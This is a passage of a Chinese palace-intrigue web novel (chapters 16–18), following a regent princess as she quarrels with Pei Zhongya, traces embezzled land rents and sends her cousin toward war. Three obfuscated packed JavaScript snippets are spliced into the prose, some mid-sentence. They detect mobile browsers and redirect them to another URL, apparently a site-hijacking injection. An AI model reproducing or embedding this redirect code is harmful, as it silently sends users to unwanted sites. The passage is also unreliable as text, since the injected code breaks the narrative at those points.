“嘶——疼!你咬我!”我控诉,一把将他推开。他却像是刚尝到血腥味的野兽,怎么推都推不开。血腥味在嘴里再次蔓延开来,窒息感直冲脑门,我将指甲嵌入裴仲琊的脊背,他这才放开我。 “你发什么疯!”我骂道。 裴仲琊黏着我,窝在我的脖子上,紧紧抱住我。他长长的睫毛是一把小扫帚,在我的脖子上扫过来又扫过去。 他深吸了好几口,这才张开沙哑的嗓子:“不是我疯了,是你疯了。” 16. 第 16 章 “你竟然给我赐婚。”他的声音颤抖,烛火在他身上笼罩出一层淡淡的薄雾,眸中水光盈盈,“姜毓卿,你竟然给我赐婚?” 我错开脸,不想看他。 “你告诉我,你当真愿意我娶陈蕴?” 我笑着看着帐外的屏风:“我愿意?我愿不愿意有什么关系,又不是我娶陈家娘子。何况你的身世也不是我说了算的。” “父亲让你赐婚的,是不是?” 我没说话。 “我不会成亲的。”他在我身边躺下,“就算你赐婚也没用。” 我啐他:“没用,当然没用!你爹说的话才最有用!” 手指被牵起,我挣开又被拉住。他摩挲着我的指尖,凑过来靠着我的肩膀,轻声呢喃:“我并非女子良配,这么多年也只有你……陈蕴她自幼生活在会稽郡,无忧无虑、逍遥自在,徐老逝世才被父母带回长安。长安的日子她都受不了,更遑论裴家。 “我那些叔伯亲戚都不是省油的灯,各个都拼了命想要往上爬,想要更多的金钱、权势、利益……陈家有我母亲一个已经够了,为什么还要再牺牲更多无辜的人呢?父亲想要巩固权势,我们又为什么一定要为他而牺牲……” 裴仲琊的长发四散在枕上,他认真地看着我,眼中倒映着我哑然的神情。 我从没想过这样的话能从裴仲琊的嘴巴里说出来。 多少人都曾夸赞裴开项好命,一生两个儿子皆是天降神童,大儿子五岁早夭,小儿子却也是聪慧又孝顺。 聪慧又孝顺?要我说,我从没见过比裴仲琊更加奇怪的怪胎。 其先妣重病之时,年仅四岁的裴开项日夜侍疾榻前,为母祈福荤腥不沾,连守七日,其母无力回天终究撒手人寰。他不哭不闹,先是让家仆进宫通报裴开项,再让府中嬷嬷替母亲梳洗换衣,一切安置妥当,他又去府门迎接父亲,冷静得丝毫不像个孩童。 府里的嬷嬷以为他吓出毛病了,但是看了几日,发现他照常吃饭睡觉并无异样,并更加称奇,还曾偷偷说他冷血,自己母亲病逝连滴眼泪都没有。 在宫中读书那段日子,我都以为他是什么文曲星转世,亦或者是前朝大儒转世投胎时没有喝孟婆汤,这才那么会读书。怎么会有人读一遍书就能倒背如流了呢?怎么有人明明年纪和我们相仿却能做我们的老师呢? 我问他为什么那么喜欢读书? 那时的他听见这个问题皱了皱眉,很不情愿地说:也没有很喜欢。 你不喜欢你读得那么好!我生气了。爹娘一直拿我和他比。 我父亲说,裴家以后的担子都要交到我手里。我必须要好好读书,读到最好,让所有人都看见,让陛下看见。这是我一定要做到的事情。他说。我要自省、克己、慎独,要摆正自己的位置,要做自己该做的事。要敬重长辈,友爱兄弟,要事君以忠,心系百姓。 我当时以为他疯了。 可现在听他说这样的话,我仍旧觉得他疯了——为什么一定要为父亲而牺牲? 这是裴仲琊会讲出来的吗? 我呆呆地看着他,不知该如何应对。 裴仲琊抚上我的眼睛盖住,唇瓣又被轻轻叼住,他轻啄了几口:“所以我一定要去。去做说客,帮你,也是帮大齐所有的百姓。兵戈相见,战火燎原,受苦的终究是百姓。” 眼睛有些湿濡,我嗫嚅着嘴巴,恶狠狠道:“五王可都不是省油的灯,你得想好了,你去了,没命可与我无关。” 眼睛重见光明,他看着我笑道:“是我自愿的,与你无关。” 自愿的自愿的,什么都是自愿的。他顶着一脸坦然,我心里却气得不轻,推开他,穿上衣裳边抱怨边下床:“一个个都跟不要命了似的,爱去就去吧!反正也是与、我、无、关!” “宋君若是不是向你请缨了?” “小屁孩一个,只知道军功耀眼,哪知道沙场危险人心险恶。非要往跟前凑,我拦也拦不住!” 裴仲琊笑了:“你怎么拦不住,他不是最听你这个表姐的话了吗?” “我劝了也拦了,可他都十六了,比我还高出半个头,长阳侯世子想进军队,谁敢不把他放进去?”我洗完脸将帕子丢上床榻,让裴仲琊也擦擦。 “他想去就让他去,他在羽林军里也是数一数二的士兵,虽说羽林军那些酒囊饭袋比不上真正上阵杀敌的人,但宋君若……能成。”他擦完脸,将帕子攥在手中,系好衣裳绳带下来拉我的手,“等他真的长大了,能帮你很多。” 这话太奇巧,我抽开手,仰面笑着:“这话从你们裴家嘴里说出来,我倒要好好忖度一下是褒义还是贬义了。” 我替他将衣襟合拢,他伸手要抱。快退几步同他拉开距离,我将白日里田议送来的东西翻出来。那熏香小小一瓶,不承想我竟着了此道。 “小人行径,干这种偷鸡摸狗的事情!原先我以为他只是个长得丑的草包,没想到心肝儿也是黑的,他们田家果真一个好东西都没有!”心中火气未消,非得骂出来才舒服,“必定是田家那群蠢货想出来的法子,看我得势了就让田议来讨好我,好让他们也分一杯羹!如此看来,他们对你父亲也不够忠心啊裴御史。我哪有什么权势,我的权势不过是借了裴相的光,他们心有不轨,那我来开刀。” 我笑着拍拍他的肩膀:“可得叫你父亲留心啊。” 田议送来的左右不过是些衣裳首饰,这些东西于我而言就是废物,俗气得很,眼不见心不烦,一并丢出去才算好。可还有一件组玉佩却不像是他会送的风格——从上至下分别为双凤涡纹璧、龙凤涡纹璧、犀牛面玉璜、龙璜、鱼璜、勾连雷纹璜和涡纹璜,其间金银珠、琉璃珠、玉管、金丝相连点缀,雕工精美大气,栩栩如生,和母亲留给我的那件一模一样。 “这组玉佩怎么了?看的那么出神。”裴仲琊走到我身边坐下 “你觉得……这是田议送给我的东西吗?” 裴仲琊不明所以:“不是?” 那被我故意做空的位置上有玉管,玉管中间还环绕着一根细细的金丝,可母亲留给我的那件组玉佩上面并没有。 心像是被谁拿榔头敲了一下,闷闷钝痛。整个脑袋像是被塞满了棉花,奔涌的思绪被挡住,我不敢去想。 我命萱萱将母亲曾经的大长秋薛获从暴室连夜带回广明殿。 她老了好多,在我印象中她一直是个得体端庄的女子,断文识字,算数御人样样精通,是母亲身边最得力的助手。可如今她头发花白,皱纹像一层层树皮堆叠着,岁月与苦难用刀在她身上留下了太多的痕迹。 “大长秋……”我想要扶起她。 却瑟缩躲开,两双手羞怯地缩在袖子里,毕恭毕敬地跪在地上向我叩首:“奴婢,见过殿下……” 我不忍心再让她为难,坐回位子接受她生疏的礼节。 “你受苦了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872092|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 薛获摇摇头:“是陛下与殿下受苦了……奴婢能活下来,已是裴相网开一面了。” 我望了一眼纱帐里的人影,轻声问道:“裴相……当日放过你们,是因为阿娘吗?” 薛获身躯一震,震惊地抬起眼眸,迟疑开口:“您……您……” 我将组玉佩推到她面前:“这是阿娘留给我的,这个玉管……它原本是怎么样的?” 薛获双手捧起,只看了一眼便道:“这是娘娘封后时佩戴的组玉佩,后来不小心磕碎,娘娘便叫我们重新安一个上去。本应该是圈金的玉管,也不知道是哪个偷懒的家伙直接将素玉管就接上去了!” 我又将田议送来的组玉佩打开给她看:“是这样的吗?” 薛获眼睛一亮:“对!正是!玉管就该是这样的!难道这副才是娘娘当年佩戴的组玉佩?” 我没有说话,我也说不出话来。萱萱给了薛获五金便将她送了回去。我倚靠在凭几上,思绪混乱—— 裴开项、刘既嘉,裴开项、刘既嘉,这两个水火不容、你死我活的名字,我怎么也想不到有朝一日会因为这些事儿而被我含在嘴里反复咀嚼。 裴家刘家皆为琅琊世家。 鸿嘉十五年,母亲成为楚王妃,鸿嘉十六年,裴开项迎击阿勒奴凯旋而归,迎娶陈家娘子陈辰。 绥和元年,伯父暴毙,裴开项拥立父亲登基,母亲封后,裴开项封骠骑大将军、宁国公,食邑一千户。 绥和四年,他们的儿女——我与裴仲琊定亲,相约五年后公主出降,尚宁国公府。 绥和九年,父亲被逼致死,母亲与裴开项争权,拥立姜旻为帝,却在小产弥留之际恳求裴开项好好辅佐对待我们。 这是我能想到的,他们两个有且仅有的交集。 怎么会呢?怎么会呢? 连我都不曾察觉这组玉佩上的差别,裴开项竟然能记得那么清楚。 若当真是我想的那样,那母亲……真的是个奇女子。 裴仲琊一身青色纱衣潇潇洒洒从内殿走出,修长的手指托起那截玉管,眼神若明若暗,沉默不语。 我凑过去,轻声问道:“你知道些什么?” 裴仲琊放下玉管,施施然坐到我身边,语气轻松:“太后娘娘封后时我不过十一岁,也没资格参加封后大典。” “你没资格,但你爹有。” “朝中许多大臣都有。” 他神色坦然,好似真的没有说什么心虚的话。我眯了眯眼:“裴御史,你说你不会对我撒谎的。” 他笑着捻起我一绺发丝在手中把玩:“我确实没有骗你,不仅裴家有资格参加封后大典,卢家、刘家、陈家……许许多多的人都有资格,不是吗?” 我从他手中抽走发丝:“跟我打哑谜,你别碰我。” 裴仲琊轻笑一声,挪近几寸胳膊挨着胳膊:“不过就是一枚玉管,以前的事何必如此计较?” 大殿空荡,火焰“哔啵”跳跃一声,玉佩散发着温润而隐秘的荧光。一样的组构,一样的纹样,甚至连珠子都是一样的数目与形状,它们静悄悄地躺在那里,仿佛在诉说着什么被人遗忘的故事。 故事忘了就忘了,但是发生过的事不可能从未发生过,说过的话、做过的事也不可能没有一丝一毫的波澜与躁动。 我将盒子缓缓盖上:“你们自然无需计较,但这是我母亲遗物,我自然得计较。” 17. 第 17 章 “没钱?”我盯着堂下站得直挺挺的田诠,“快三个月了,到现在你才跟本宫说没钱?田租田租算不清,市租市租分不清!五王蠢蠢欲动,不知道什么时候就会扑上来咬我们一口,你倒好,在这节骨眼儿山刚跟本宫说没钱?!治粟内史给你当着难道只是挂个好看?” “殿下息怒。”田诠倒像是个没事人,仿佛这不是他的活一般,“实在是因为前朝连年改革,加之长城修建、江南通渠、旱涝赈灾等重大事宜,朝廷去年支出已超预算,今年年初定下的预算,有些要填补去年的超额。五原县的长城虽已修建完成,但与定襄城墙相去仍有五百里,这笔钱先帝在时便已允准年年拨款。 “湘水洞庭近年时常涝灾,下游百姓怨声载道,长沙、武陵、零陵等地已领民修渠三年有余,若如今停款无疑是半途而废前功尽弃。这两桩工程已将今年预算的大头拿去一半,余下金钱还要在各郡县修建常平仓,加之朝中官员俸禄、未央宫殿修缮、戍边抚军民等支出,若要出征讨伐五王……恐寅吃卯粮,难以长久。” 一个不学无术连算数都算不灵清的人如今倒是能侃侃而谈,什么更赋徭役、田租纳税、修城凿渠竟都能说上来。要是无人指点,我还真不信了。 我甩开奏疏,往凭几上一靠,笑道:“田内史如今倒是对我朝政事了如指掌了啊,可真是难得。”场面话我都懒得讲。 田诠仿佛没听出来我在骂他,还腆颜道:“这是微臣的分内之事。” “分内之事?”我气笑了,“如何帮朝廷挣钱才是你的分内事!你看看你如今说的,说这里要花钱,那里也要花钱,那我问你,田租、算赋、更赋、算缗,前朝甚至还有盐铁税、渔税、车马税,你们又掌管朝廷均输、平准、漕运经营。齐国建国近百余年,强盛至此,钱都放在你们那儿,如今你竟反过来告诉我没钱?还寅吃卯粮……真真是好笑,想曾祖北击阿勒奴禺戎,南征羌须栗越,都未曾有过这般笑话!” 田诠面不改色,竟还有脸不卑不亢:“明帝南征北战,所费不赀,一度致国库空虚,无奈重税重赋,所用军饷皆取之于民,且卖官鬻爵,将盐铁、酒品、渔船车马等都收归朝廷经营,致使百姓无利可谋,无钱可交,苦不堪言。明帝征战四方,安定四海,展我大齐赫赫威名,然其敛财之功利实不可效仿!微臣知殿下尊先祖之心,然此事事关百姓国本,微臣也只好直言相劝,若殿下有心怪罪,臣以死谢罪!” 太好笑了太好笑了,他田诠竟也有这样伶牙俐齿能言善辩的一天,几句话就轻轻巧巧将自己变成了为民请命、直言进谏的大忠臣,简直比那些战死沙场的将士们还要热血。谁能想到就在几天前他还是个连田租总计奏疏都交不上来的治粟内史呢? 我简直要给他鼓掌! “田内史真是好气魄,本宫不过就是说你几句就要喊打喊杀,这叫本宫以后如何还敢反驳你的话?” “微臣不敢,殿下明察秋毫,定能明白微臣一片赤子之心。” 我笑了,问道:“若真是如此,那田内史有什么好的对策吗?” 此问题显然正中他的下怀,只见他眸中闪过片刻的金光,笑容在脸上堆砌起来,跟田议如出一辙:“从古至今,国库空虚之事屡见不鲜,帝王或搜刮民脂民膏满足私欲,或为民开放私库,前者是昏君,后者是明君。大齐延续至今,每一任都是爱民如子的明君,殿下乃先帝与太后之子,更是如此。殿下自小聪敏,胸怀宽广,胸有丘壑,辅政以来深得民心,不仅是齐国更是中原从古至今唯一一个拥有如此多封地的公主。雍丘、当利、句章在公主的庇佑下,税收田租年年高涨,百姓们也安居乐业。公主不仅是封地的主君,更是大齐的卿主,应该把这种福泽散布天下,让齐国所有的百姓都蒙受您的庇佑。” 雍丘、当利、句章,这三处封地有矿有盐有田有粮,每年税收极为可观,我虽非诸侯王,但所负资产却远高于大齐近九成诸侯王。 简言之,就是我这个长公主比他们所有人都有钱。我也知道他们都望着这些钱财垂涎欲滴,就等什么时候我倒了好将此瓜分殆尽。 可那些亲戚们都还没将野心显露至此,我这当狗的好夫家就已经坐不住了——又是让田议下药求合欢,又是冠冕堂皇地让我“散布福泽”,这福泽散布出去,最后到谁的口袋里还未可知。 “裴相是什么意思?” “裴相……让微臣来过问您的意思。” 好一招推诿扯皮。 我将奏疏丢在几案上,厌厌:“你先下去吧。” 田诠小心翼翼地瞥了眼我的脸色,退出大殿。 都算计我,所有人都算计我。一个个都以为我好欺负,被他们肆意作弄都无力反抗。狂悖之徒,我倒要看看到底是谁能笑到最后。 - 舅舅的书信与庭院里第一片落下的黄叶一同到达。他不日便能进京,听闻朝中诸事,对我与阿旻颇为担心,定即刻赶回助我一臂之力,只字不提我软禁阿旻垂帘掌权之事。 阿若训练归来,满头大汗,脸上又添了几道新伤,看过我后便去洗漱更衣,梳洗地干干净净了才来同我一道吃饭。 我们俩都爱吃肉,席间獐肉兔肉鹿肉变着法儿地做,一盘盘都下到了宋君若的肚子里。我叫萱萱拿给他一杯羊奶去腥气,又上了几盘小果,见他吃的急,难免抱怨:“在羽林军里不好好吃饭吗,把自己饿成这样。” “没饿着自己,好多兄弟知道我要上战场,都把自己的吃食留给我呢,说要我长得再壮点再高点,这样杀敌就更猛些!”他边说边往嘴里塞着肉,“只是近几日我起早贪黑给自己加练,吃得再多也容易饿。今日想着好久没来看姐姐,就来姐姐这儿蹭饭来了嘿嘿嘿……” 我将他鬓边的发丝别到耳后,叹气:“多吃点,姐姐这儿什么都有,想吃什么就吃什么。” 宋君若端着饭碗往我脑袋上蹭了蹭:“那我还想吃冰酥酪,要加葡萄和林檎,还有沙冰!” 我失笑,示意萱萱去拿。 “如今天气渐凉,好吃也不能多吃,不然闹肚子。” 宋君若听我说话,也不回答,就呆呆地看着我笑。 “怎么啦?” 宋君若傻笑着低下头,一边扒着饭,一边囫囵说话:“没什么,只是觉得这样的日子真好……跟以前在楚国时一样,有姐姐你陪着,白天外出训练,晚上回家就能看见你,比在临淮好多了。” 想起小时候,我也不禁感慨:“你父亲确实称不上一位好父亲,更不是一位好丈夫。幸亏你不在他膝下长大,不然……指不定要歪成什么样呢。” “所以我一直都很感恩舅舅将我接到楚国,能与你一同长大。”他棕色的大眼睛亮晶晶地望着我,像盛着一捧清澈的秋水,“姐姐,我真的很庆幸能同你一起长大。” 今夜的阿若有些不一样,像受委屈的小狗嘤嘤叫着,试图惹我的怜爱,好让我抱抱他。我也如他所愿,环住他的肩膀将他抱在怀里,轻轻拍着:“好啦好啦,姐姐会一直陪着你的,这未央宫你想住多久就住多久。临淮也没什么好的,你不想回去就不回去,未央宫那么多宫殿,哪儿不比临淮好?” “姐姐。”他拉下我的手臂,抬眸盯着我,像两簇火星在烧,“我不会回去的,我要一直呆在这儿,一直待在你身边。我要做你身边最最最有用的人,让你有困难时最先想到的就是我,伤心时最想依靠的人也是我,只有我,不是旁的什么人。你……你明白吗?” 明白什么明白。我曲起手指就往他额头上砸去:“好好吃饭!怎么了今天?”实在是太奇怪,今日的宋君若不像个弟弟,像个大人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872093|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看着他:“是因为要上前线了,害怕吗?你实话告诉姐姐,你害怕吗?” “我不怕!”他急于澄清,但又低下头,“可是……我有时候也很怕。我不怕刀光剑影,不怕死,但我怕我死了以后,你就孤零零的……宫中暗潮涌动、危机四伏,我虽帮不上什么忙,但到底还能跟你一起承担!如果我……我……” 他说不下去,撂下碗筷,独自一个人生气闷气。 “我想看你实现自己的期望,我想看着你站到那个位置上去,我想看你自由自在地活着,就像小时候我第一次看见你那样。没有东西能束缚你、桎梏你,我想看见那样的你!” 他越说越激动,面颊微微发红,眼眸湿漉漉的,好似有泪。 我轻叹,抚上他的脸颊,鬓角、下巴都有短短的胡茬了,他是真的长大了。 “阿若,姐姐好像……不能再把你当成小孩子了,是不是?” “我本来就不是小孩子!”宋君若怨我。 “既然不是小孩子了,就不要这么瞻前顾后,拿出上阵将士的气魄来,这么婆婆妈妈的像什么样子!还说要成为我最利的剑,我可不要这么优柔寡断的剑!裴家把持那么多东西……如今的他们还愿意做做面子功夫,让手底下的田家做这治粟内史,万一以后连装都不想装了呢?那这大齐还是我们姜家的吗? “我需要你,我需要有人冲破他们在军队的专制。光禄勋统领禁军三千五百人,卫尉统领南军两万人,执金吾统领北军五万人,如今除了卫尉方宏以外,其余两人都与裴家有着千丝万缕的关系。那可是禁军和北军,是整个皇城京城的命脉!我需要把他们都变成我的。 “显赫的身世、过人的才智,有皇家的信任还年轻,同时拥有这些条件的,放眼整个长安城只有你。征讨五王是你最好的时机,只要你做得好,活着回来,我就能让你去你该去的,去你想去的地方。 “你既不想我寂寞无依,那就杀敌人个片甲不留,在沙场上留下你的赫赫威名,让敌人从今后听见你的名字就闻风丧胆!如今还没上战场就开始打退堂鼓,还担心我?你姐姐我需要你担心吗,这宫里什么大风大浪我没见过,你先管好你自己,在沙场上把我们的面子挣回来,让他们知道长阳侯世子跟他爹不一样,是个英雄,是条好汉!” 月亮从云里钻了出来,月华拂去宋君若脸上颓唐的神情,一下子舒展开来。他盯着我,眼中光芒坚定:“好!我一定给你挣面子,让他们知道你的弟弟是好样的,以后谁要欺负你,都得先问过我!” 到底还是个小孩子,豪言壮语容易出口,但是言行举止仍旧稚气难脱,被我一番话就说得心潮澎湃,不是小孩子心性是什么? 我拍了拍他的脑袋:“看五王如今的势头,开战怕是难免,只望不要是现在……” 宋君若聪明,一下子便反应过来:“今日田诠是不是来过,难道军饷有问题?” “呵,他说没钱。这也没钱那也没钱,要我从自己的腰包里掏军饷去养裴家军。”我依靠在凭几上,只觉得好笑,“不管是曾经还是现在,他们对裴开项可真是忠心耿耿……” “裴家精明,明面儿上都是田家做的事,其实都是他们的主意。”宋君若狠狠咬牙。 我有一搭没一搭地扣着凭几扶手:“一份田租合计奏疏,他交上来四份,都是不完整的,漏洞百出。可就算他是滩烂泥,他手底下的属官们上百人,总有精通的把?可他仍旧没能拿出令我满意的东西……你觉得,他是故意的还是无意的呢?” “姐姐的意思是……” “田租有问题。他宁愿装傻充愣也不想让我知道。裴开项对此不闻不问,恐也难逃干系。”我冷笑道,“说白了,就是想花我的钱。我的钱可没有那么好拿。我看这个治粟内史啊,也该换人了。” 18. 第 18 章 彤管使总一十二人,通算数者五人,我又将薛获连着曾经在母亲手底下做事的女官三人都接出暴室,八人加上我,早上上朝,晚上算账。广明殿的烛油没了再添,通宵烧了五夜,终于在一日子时,被薛获找到了疑点。 “殿下快看。”她将三份竹简在我面前铺开,分别指了几处一模一样的数字,“这些数目有问题。” 我拿起凑到烛光下端详,是近三年租借郡国良田供贫民耕种所收的田租,在一众杂乱无章的数字中,这一成不变的几十万石显得尤为突出。 “田内史在尽他最大的可能平账,但三年田租四份账目,不可能不出错。您看这儿,这是第一份账目,绥和七年南阳县田租为一百二十五万石,但是在第二份账目中,就变成九十五万石,而安南县的田租从第一份的七十五万石变成了一百十一万,其余郡县的田租也有少量的改变,但唯一不变的就是总数和这个——租借良田的田租。” 我细细思忖:“我确实记得,当时豪绅占地严重,百姓无田可种、流离失所,父亲刚登基便开放了未央宫北山上的林苑,还从广陵、楚、中山等诸侯国选取良田减税租给百姓耕种,当时好像是……十二税一?绥和五年又改回了十税一。” 薛获点头称是。 我也不管夜深,叫彤管使去天禄阁取了近三年租借良田的档案和当年父亲改税的圣旨,一字一字地看过去。 “自中山国租十五万亩予贫民八千人,十二税一;自楚国租十万亩予贫民六千人,十二税一,另开池苑免租三年供渔耕……” 东南西北共租了十几处郡国田地,粗粗估算下来田租便是二十三万石,可田诠在账册所载只有十二万石。 “帝叹民生多艰,郡县怜民,酌情减租。”绥和元年,父亲下的诏书。 “酌情减租……”短短四字,我便能想象这政令底下会出现怎样的偷梁换柱大戏——美其名曰减少百姓的田租,可各地官员又有多少人会真的给他们减租?收上来二十三万石,报上来十二万石,冠冕堂皇以此为由,实则剩下的五万石全部收归己用。 前朝多征战,为保证军饷与国库,田租市租税赋上涨,乃至盐铁等经营都收归国用,朝廷与民争利,国威虽扬,然百姓艰苦。父亲感念甚深,登基之初顺承伯父前朝政令,轻徭薄赋,与民生息,可他们却利用这份为国为民之心以权谋私至此。 众人看我面色不善,都不敢说话。我好半晌才将火气压下去,忍着忍着,只觉胸中郁结要将我炸开,竹简被我重重摔开,我破口大骂:“去查,这些田租到底进了哪些人的腰包。不仅要查这三年的,要从绥和元年开始查起!整整九年,一年私吞十一万石,九年就是一百万石,将近三千万钱啊!一个个跟我说没钱,敢情钱不在国库里,在他们家仓库里!我倒要看看到底是谁私吞了,又私吞了多少,证据摆出来的时候,谁还敢跟我说没钱!” 气死我了,气死我了,一个个觉得我好骗好糊弄,在我眼皮子底下偷奸耍滑,还妄图占我的便宜,用我的钱去养自己的军队。打得一手好算盘,全然将我当做傻子一般敷衍。 我心中闷着气睡下,好似有块棉团堵在胸口,辗转反侧,闭上眼全是梦魇,索性披衣起身,推开窗赏花。 初秋的夜,蝉鸣褪了聒噪,只剩下惬意的清脆和缠绵。紫藤萝凋尽,落了一地花瓣,我没叫人扫去,由它们铺出一条花路。月辉映在池中,游鱼学着天狗食月,撞碎一片流光。夜风送来幽香,我翻窗出殿,赤脚走在深夜湿漉漉的草地上,坐上秋千架,仍由晚风为我荡漾。 宫阙连绵,虹桥错落,一人从上款款而来,裘绒外袍微微起伏,玉华一般的面容在月色下清冷疏离,也显得更为脆弱苍白。 他是又生病了吗?脸色为何如此难看? 但不论他身体如何不适都与我无关了。已经荒唐过就荒唐过吧,但不能一错再错。 我轻叹一声,转身翻回殿内。 “泱泱。还没睡?” 他走的也太快了吧! 我站在殿内,作势要关窗。裴仲琊一身霜露站在窗外,如瓷人般蒙了层雾。两两相望,我扶着窗户的手僵住,低着头:“睡不着,起来走走。” “我今日当值,彤管使去天禄阁的时候我恰巧碰见,就想来看看你。你想找什么东西?” “我找什么东西都与裴御史无关,广明殿也不是什么人都能来的地方,裴御史这个毛病也该改改了。” 这话我自己都觉得好笑。 他没有出声,也没有走近一步,只是站在花架下望着我,眼神有些……难以琢磨描摹的哀伤。 扶着窗户的手忽然放下,我问道:“怎么了,有事?” “我……”他垂下眼眸,长长的眼睫盖住眸光,我无法看清他的心思,却也能感受到周身笼罩着的颓唐与疲倦,“我是来向你辞行的。” 晴天一霹雳,我浑身僵住,脑袋仿佛被人锤了一下嗡嗡作响:“辞行?你要去哪里?” “父亲同意了。”他淡淡笑着,“我会先护送部分粮草前往巨鹿。” “去了巨鹿,然后呢?” “前往淄川与广陵。五王中最有可能争夺帝位的就是鲁王、楚王与胶东王,其余两个就是脑子一热被撺掇上来的,从其中瓦解是最好不过的办法。你不也说了吗?上伐其谋、中伐其交……若是能让百姓免于战争是最好的结果,但如今看来三王野心勃勃必不可能善罢甘休,我若能在交战前离间他们,削弱他们的势力,也算是为大齐做了一些……咳咳……贡献……咳咳……” 他忽然咳嗽起来,我心中一紧,刚要伸手去扶他却又硬生生停在半空:“你……是不是又生病了?伤寒?夏秋交际最容易疏忽,你……顾好自己的身子,不要老是生病装可怜。” 裴仲琊轻笑,眉目变得柔和起来:“好,我不装可怜。” “你……你真的没事吗?”他虽多病,但早年用上好的药材调理许多年,不至于这般弱不禁风。我觉得不对。 “裴开项为何会同意你去?你父亲可不是个三言两语就能劝动的人,你……你答应他什么了?” 裴仲琊上前几步扶住窗牅,手指纤长、骨节分明、青筋凸起,他有点太瘦了。他的身躯微微前倾,低垂着眼眸注视着我:“我没答应他什么,我只是告诉他我一定要去。” 我摇头:“肯定不止这些,你别骗我。” “我不会骗你的。”他的语气像夜风一样温柔,融进淡淡月色中。 “裴仲琊,你……你这么做到底是为了什么!”我无可奈何,“我们已经回不去了,不管我和你在一起多少次都不回到过去了你不明白吗?你自己身体怎么样你不知道?你做这些有什么用呢!你能去游说,别人也可以,这大齐不是离了你就不能活了!” 裴仲琊眸色浅淡,像琥珀。我望着他,他望着我,他忽然抬起手替我拢了拢衣襟:“去歇息吧,三日后我启程,不必来送。” “我才不会来送你!”恶狠狠的,我非要这么说话不可。 他没说话,沉默、沉默,继而转身要走,留下一个萧条寂寞的背影。 “你等等!”我的嘴巴忽然不听使唤,我分明看见他手腕上的红痕,“你回来,我要看你的手臂。” 裴仲琊身形一顿,没有回头反而加快了脚步离开。 “你不许走!”我跨过窗户追出去,一把抓住他的胳膊。 他“嘶”地倒抽了一口冷气,颀长的身体一下子蜷缩起来,紧紧地握着胳膊半分不能动,眉头紧蹙,冷汗直下。 我一时无措,不知自己怎么弄疼了他。小心翼翼上前,双手捧起他的脸颊,擦去他眉尾的汗珠,问道:“裴开项打你了?” 裴仲琊没有说话,月光下他苍白的嘴唇仿若无色,一双瞳仁淡漠却又疲倦。我心下绞痛:“你何苦!何苦!你身子本就不好还非得遭这个罪!” “我心甘情愿的。” “对!你就是活该!”我啐道。 裴仲琊听见这话非但不恼,还扯着可怜兮兮的样子笑了起来:“是啊,我就是活该。” “你……”我被气得说不出话来,“我就不该管你,就该让你疼死!” 他低下头来,蹭了蹭我的额头:“那你现在管我吗?” - 裴开项下手太重了,我从没见过哪个父亲对自己的独子会下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12890080|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此狠手。那绝对是用竹条抽打出来的痕迹,红紫色的青斑从血痕向外扩散,一道道斑驳交错在裴仲琊的手臂、肩膀、背脊上,像野兽撕咬抓挠,伤痛与耻辱让他本就不愈的身体变得更加脆弱沉重。 从小到大,他一直都是我们那群孩子中最干净得体的人。裙裾被雨水溅湿,第二天便换了新的;冠帽不正便死活不见人;就连外出踏青,他也要在草地上铺上三层麻布才肯坐下。有一次我实在是受不了他这个磨磨唧唧的模样,故意将墨水倒翻在他桌上,水珠顺着竹简一路滴在他白色的直裾上。 他没有生气,没有出声,甚至连眉毛都不曾皱一下。只是叫来书童收拾了桌子,起身朝太傅行礼后便离开了,下午又换了一身新衣裳来上课。 可也是这样的人,顶着一身丑陋可怖的伤痕,衣着端庄得体,仿若无事般来到我的宫殿,一声不吭,只说要向我辞行。 可以我对裴开项的了解,他虽严厉,却也不会对原配妻子留下的唯一孩子这么狠心,所以只有一个原因——裴仲琊惹他生气了,而且是很大的气。 “就因为你要去游说五王,你父亲就打了你?”我一边替他上药一边抱怨,“他不是办法很多吗?怎么到自己儿子身上就只能打骂了呢?你到底跟他说了什么害得他如此生气?” 裴仲琊仍旧是只字不肯透露,我从没觉得他的嘴巴那么难撬开。 “你悔婚了?”我试探地问出一个可能。 “我从未承认过那个婚约,所以不存在悔婚一说。”他的眼神平静如水,“我不会跟任何人成亲。在我心里,我们已经在一起很久了。” 我笑了:“这话讲得倒是好听。陈家娘子是个好姑娘,你就这样对人家?” “我去前线前,会写一封书信给她,言明一切让她退婚。陈蕴见多识广、通达聪慧,会选择对她自己最好的一条路。我不该耽误她,父亲也不该再为自己的欲望伤害任何一个人。” 他的眼睛明亮又坚定,像是一束光将我内心的恐惧、猜疑与酸楚照得无所遁形。 